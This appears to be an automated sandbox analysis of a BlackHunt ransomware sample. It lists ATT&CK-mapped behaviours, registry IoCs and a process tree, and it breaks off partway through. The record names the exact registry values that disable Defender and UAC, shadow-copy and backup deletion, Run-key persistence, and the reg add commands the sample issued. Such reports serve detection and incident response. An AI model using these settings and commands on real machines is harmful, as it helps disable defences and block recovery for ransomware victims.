4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be

Data Destruction

T1485

pid	Process
4304	fsutil.exe

Modifies Windows Defender Real-time Protection settings 3 TTPs 2 IoCs

evasion trojan

Modify Registry

Windows Service

T1543.003

Disable or Modify Tools

T1562.001

description	ioc	Process
Key created	\REGISTRY\MACHINE\Software\Policies\Microsoft\Windows Defender\Real-Time Protection	reg.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection\DisableRealtimeMonitoring = "1"	reg.exe

UAC bypass 3 TTPs 1 IoCs

evasion trojan

Bypass User Account Control

T1548.002

Disable or Modify Tools

T1562.001

Modify Registry

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe

Deletes shadow copies 2 TTPs
Ransomware often targets backup files to inhibit system recovery.
ransomware

File Deletion
T1070.004

Inhibit System Recovery
T1490

Modifies boot configuration data using bcdedit 1 TTPs 2 IoCs

ransomware evasion

Inhibit System Recovery

pid	Process
1468	bcdedit.exe
3276	bcdedit.exe

Renames multiple (576) files with added filename extension
This suggests ransomware activity of encrypting all the files on the system.
ransomware

Deletes backup catalog 3 TTPs 1 IoCs

Uses wbadmin.exe to inhibit system recovery.

ransomware

Command and Scripting Interpreter

T1059

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
3664	wbadmin.exe

Disables Task Manager via registry modification
evasion
Disables use of System Restore points 1 TTPs
evasion

Inhibit System Recovery
T1490

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2398549320-3657759451-817663969-1000\Control Panel\International\Geo\Nation	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

description	ioc	Process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\{2C5F9FCC-F266-43F6-BFD7-838DAE269E11} = "C:\\ProgramData\\#BlackHunt_ReadMe.hta"	reg.exe

Checks whether UAC is enabled 1 TTPs 1 IoCs

evasion trojan

System Information Discovery

description	ioc	Process
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

description	ioc	Process
File opened (read-only)	\??\P:	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened (read-only)	\??\S:	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened (read-only)	\??\L:	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened (read-only)	\??\E:	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened (read-only)	\??\T:	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened (read-only)	\??\U:	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened (read-only)	\??\W:	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened (read-only)	\??\O:	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened (read-only)	\??\V:	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened (read-only)	\??\H:	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened (read-only)	\??\K:	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened (read-only)	\??\X:	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened (read-only)	\??\Q:	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened (read-only)	\??\A:	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened (read-only)	\??\J:	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened (read-only)	\??\B:	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened (read-only)	\??\Z:	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened (read-only)	\??\I:	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened (read-only)	\??\G:	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened (read-only)	\??\N:	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\F:	vssadmin.exe
File opened (read-only)	\??\R:	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened (read-only)	\??\Y:	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened (read-only)	\??\M:	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
2	ip-api.com

Drops file in Program Files directory 64 IoCs

description	ioc	Process
File created	C:\Program Files\VideoLAN\VLC\locale\kn\#BlackHunt_ReadMe.hta	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\7-Zip\Lang\an.txt	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ta.txt	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\Java\jre-1.8\lib\images\#BlackHunt_ReadMe.hta	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\xerces.md	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\fonts\LucidaSansDemiBold.ttf	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\management-agent.jar	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\dotnet\host\fxr\#BlackHunt_ReadMe.txt	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\cmm\LINEAR_RGB.pf	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fr\LC_MESSAGES\#BlackHunt_Private.key	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\ext\sunec.jar	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\Java\jre-1.8\bin\server\#BlackHunt_ReadMe.txt	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\da\#BlackHunt_ReadMe.hta	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\RevokeSkip.mp4	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\7-Zip\7zCon.sfx	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\server\#BlackHunt_ReadMe.hta	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\jsse.jar	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\mn\#BlackHunt_ReadMe.hta	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\xerces.md	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\calendars.properties	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jre-1.8\Welcome.html	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ml\LC_MESSAGES\#BlackHunt_Private.key	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\dotnet\host\fxr\6.0.25\#BlackHunt_Private.key	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\fontconfig.properties.src	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_CopyDrop32x32.gif	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ca\LC_MESSAGES\#BlackHunt_ReadMe.txt	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\nl\#BlackHunt_ReadMe.hta	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\Java\jdk-1.8\jre\bin\server\#BlackHunt_Private.key	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\cmm\GRAY.pf	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\invalid32x32.gif	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\Java\jdk-1.8\legal\#BlackHunt_ReadMe.hta	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\jvm.lib	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\vlc.mo	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\jdk\bcel.md	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\Java\jre-1.8\bin\dtplugin\#BlackHunt_ReadMe.txt	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\deploy\ffjcext.zip	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ff\#BlackHunt_Private.key	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fi\#BlackHunt_Private.key	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\fi\LC_MESSAGES\#BlackHunt_ReadMe.hta	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\Java\jre-1.8\legal\javafx\#BlackHunt_Private.key	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\lib\orb.idl	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ar\LC_MESSAGES\#BlackHunt_Private.key	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\bs\#BlackHunt_ReadMe.txt	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\Java\jre-1.8\legal\jdk\#BlackHunt_ReadMe.hta	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\javafx\webkit.md	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\VideoLAN\#BlackHunt_ReadMe.hta	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\RegisterCompare.mpg	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\7-Zip\Lang\ka.txt	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\COPYRIGHT	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\es\#BlackHunt_Private.key	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\7-Zip\Lang\nl.txt	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\Java\jre-1.8\lib\security\policy\limited\#BlackHunt_ReadMe.txt	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ko\LC_MESSAGES\vlc.mo	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\security\policy\unlimited\local_policy.jar	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\santuario.md	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\SendRead.asp	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\VideoLAN\VLC\locale\ia\LC_MESSAGES\vlc.mo	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\kn\LC_MESSAGES\#BlackHunt_ReadMe.txt	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jre-1.8\lib\javafx.properties	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File created	C:\Program Files\VideoLAN\VLC\locale\ko\LC_MESSAGES\#BlackHunt_Private.key	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\7-Zip\Lang\mng.txt	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\legal\javafx\public_suffix.md	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jdk-1.8\jre\lib\images\cursors\win32_MoveDrop32x32.gif	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
File opened for modification	C:\Program Files\Java\jre-1.8\legal\jdk\jopt-simple.md	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

pid	Process
440	schtasks.exe

Interacts with shadow copies 2 TTPs 5 IoCs

Shadow copies are often targeted by ransomware to inhibit system recovery.

ransomware

File Deletion

T1070.004

Inhibit System Recovery

pid	Process
1336	vssadmin.exe
2500	vssadmin.exe
3500	vssadmin.exe
4456	vssadmin.exe
3244	vssadmin.exe

Modifies registry class 12 IoCs

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\DefaultIcon\ = "C:\\ProgramData\\#BlackHunt_Icon.ico"	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\Hunt2	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2\	reg.exe
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\Classes\.Hunt2\	reg.exe
Key created	\REGISTRY\MACHINE\Software\Classes\.Hunt2\DefaultIcon	reg.exe
Key created	\REGISTRY\MACHINE\SOFTWARE\Classes\Hunt2	reg.exe

Suspicious use of AdjustPrivilegeToken 13 IoCs

description	pid	Process
Token: SeDebugPrivilege	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
Token: SeRestorePrivilege	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
Token: SeBackupPrivilege	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
Token: SeTakeOwnershipPrivilege	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
Token: SeAuditPrivilege	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
Token: SeSecurityPrivilege	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
Token: SeIncBasePriorityPrivilege	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
Token: SeBackupPrivilege	880	vssvc.exe
Token: SeRestorePrivilege	880	vssvc.exe
Token: SeAuditPrivilege	880	vssvc.exe
Token: SeBackupPrivilege	5524	wbengine.exe
Token: SeRestorePrivilege	5524	wbengine.exe
Token: SeSecurityPrivilege	5524	wbengine.exe

Suspicious use of WriteProcessMemory 64 IoCs

description	pid	Process	procid_target
PID 4188 wrote to memory of 3536	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	92
PID 4188 wrote to memory of 3536	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	92
PID 4188 wrote to memory of 3292	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	93
PID 4188 wrote to memory of 3292	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	93
PID 4188 wrote to memory of 4260	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	96
PID 4188 wrote to memory of 4260	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	96
PID 4188 wrote to memory of 1716	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	97
PID 4188 wrote to memory of 1716	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	97
PID 4188 wrote to memory of 4036	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	98
PID 4188 wrote to memory of 4036	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	98
PID 3536 wrote to memory of 1156	3536	cmd.exe	102
PID 3536 wrote to memory of 1156	3536	cmd.exe	102
PID 4036 wrote to memory of 1000	4036	cmd.exe	106
PID 4036 wrote to memory of 1000	4036	cmd.exe	106
PID 3292 wrote to memory of 2828	3292	cmd.exe	105
PID 3292 wrote to memory of 2828	3292	cmd.exe	105
PID 1716 wrote to memory of 2872	1716	cmd.exe	103
PID 1716 wrote to memory of 2872	1716	cmd.exe	103
PID 4260 wrote to memory of 3020	4260	cmd.exe	104
PID 4260 wrote to memory of 3020	4260	cmd.exe	104
PID 4188 wrote to memory of 1952	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	107
PID 4188 wrote to memory of 1952	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	107
PID 4188 wrote to memory of 3700	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	109
PID 4188 wrote to memory of 3700	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	109
PID 4188 wrote to memory of 2484	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	111
PID 4188 wrote to memory of 2484	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	111
PID 4188 wrote to memory of 2284	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	114
PID 4188 wrote to memory of 2284	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	114
PID 4188 wrote to memory of 4400	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	116
PID 4188 wrote to memory of 4400	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	116
PID 4188 wrote to memory of 224	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	118
PID 4188 wrote to memory of 224	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	118
PID 4188 wrote to memory of 4968	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	121
PID 4188 wrote to memory of 4968	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	121
PID 3700 wrote to memory of 3380	3700	cmd.exe	120
PID 3700 wrote to memory of 3380	3700	cmd.exe	120
PID 4188 wrote to memory of 2396	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	126
PID 4188 wrote to memory of 2396	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	126
PID 1952 wrote to memory of 1200	1952	cmd.exe	123
PID 1952 wrote to memory of 1200	1952	cmd.exe	123
PID 2484 wrote to memory of 3156	2484	cmd.exe	124
PID 2484 wrote to memory of 3156	2484	cmd.exe	124
PID 4188 wrote to memory of 2996	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	127
PID 4188 wrote to memory of 2996	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	127
PID 4400 wrote to memory of 1760	4400	cmd.exe	130
PID 4400 wrote to memory of 1760	4400	cmd.exe	130
PID 2284 wrote to memory of 4392	2284	cmd.exe	129
PID 2284 wrote to memory of 4392	2284	cmd.exe	129
PID 224 wrote to memory of 1508	224	cmd.exe	131
PID 224 wrote to memory of 1508	224	cmd.exe	131
PID 4968 wrote to memory of 2016	4968	cmd.exe	132
PID 4968 wrote to memory of 2016	4968	cmd.exe	132
PID 4188 wrote to memory of 1172	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	133
PID 4188 wrote to memory of 1172	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	133
PID 2396 wrote to memory of 2908	2396	cmd.exe	135
PID 2396 wrote to memory of 2908	2396	cmd.exe	135
PID 2996 wrote to memory of 4444	2996	cmd.exe	138
PID 2996 wrote to memory of 4444	2996	cmd.exe	138
PID 4188 wrote to memory of 1072	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	136
PID 4188 wrote to memory of 1072	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	136
PID 4188 wrote to memory of 1752	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	142
PID 4188 wrote to memory of 1752	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	142
PID 4188 wrote to memory of 4256	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	139
PID 4188 wrote to memory of 4256	4188	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe	139

System policy modification 1 TTPs 3 IoCs

evasion

Modify Registry

description	ioc	Process
Key created	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLUA = "0"	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
Set value (int)	\REGISTRY\MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System\EnableLinkedConnections = "1"	4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012
Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe
"C:\Users\Admin\AppData\Local\Temp\4b0b70fd61e7f6d103e4bfae16e7044606a5ec64f735ab6930fde350d94df3be.exe"
1⤵
- UAC bypass
- Checks computer location settings
- Checks whether UAC is enabled
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- System policy modification
PID:4188
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3536
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2" /f
    3⤵
    - Modifies registry class
    PID:1156
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:3292
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\.Hunt2\DefaultIcon" /ve /t REG_SZ /d "C:\ProgramData\#BlackHunt_Icon.ico" /f
    3⤵
    - Modifies registry class
    PID:2828
- C:\Windows\System32\cmd.exe
  "C:\Windows\System32\cmd.exe" /c reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:4260
- - C:\Windows\system32\reg.exe
    reg add "HKEY_LOCAL_MACHINE\Software\Classes\Hunt2" /f
    3⤵
    - Modifies registry class
    PID:3020
- C:\Windows\System32\cmd.exe
